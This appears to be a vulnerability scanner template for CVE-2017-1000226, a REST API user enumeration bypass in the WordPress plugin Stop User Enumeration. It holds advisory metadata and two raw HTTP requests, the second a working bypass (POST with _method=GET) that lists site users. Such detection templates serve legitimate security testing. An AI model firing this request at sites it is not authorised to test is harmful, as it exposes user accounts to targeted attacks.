CVE-2017-1000226: Stop User Enumeration <= 1.3.8 - REST API User Enumeration Bypass

id: CVE-2017-1000226

info:
  name: Stop User Enumeration <= 1.3.8 - REST API User Enumeration Bypass
  author: theamanrawat
  severity: medium
  description: |
    Stop User Enumeration 1.3.8 contains a user enumeration vulnerability via the REST API, letting attackers identify valid users, exploit requires sending specific API requests.
  impact: |
    Attackers can identify valid users, aiding targeted attacks or account harvesting.
  remediation: |
    Update to the latest version that fixes the vulnerability or apply security patches.
  reference:
    - https://advisories.dxw.com/advisories/stop-user-enumeration-rest-api/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-1000226
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2017-1000226
    epss-score: 0.01385
    epss-percentile: 0.72435
    cwe-id: CWE-200
  metadata:
    max-request: 2
    vendor: fullworks
    product: stop-user-enumeration
  tags: cve,cve2017,wordpress,wp-plugin,stop-user-enumeration,exposure,vuln,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /?rest_route=/wp/v2/users HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains_all(body, "\"code\":\"rest_cannot_access\"", "Only authenticated users can access the User endpoint REST API.")'
        condition: and
        internal: true

  - raw:
      - |
        POST /?_method=GET HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        rest_route=/wp/v2/users

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "[{\"id", "name\":")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450220302144a698ff53f9f48044f8e258bcb25a3fa70e23907686a0acfd90e288d2f902210085e2631c32f324415ab444028ef58ba51e33f8c43e1dd3ce00023e9bb6050782:922c64590222798bb761d5b6d8e72950

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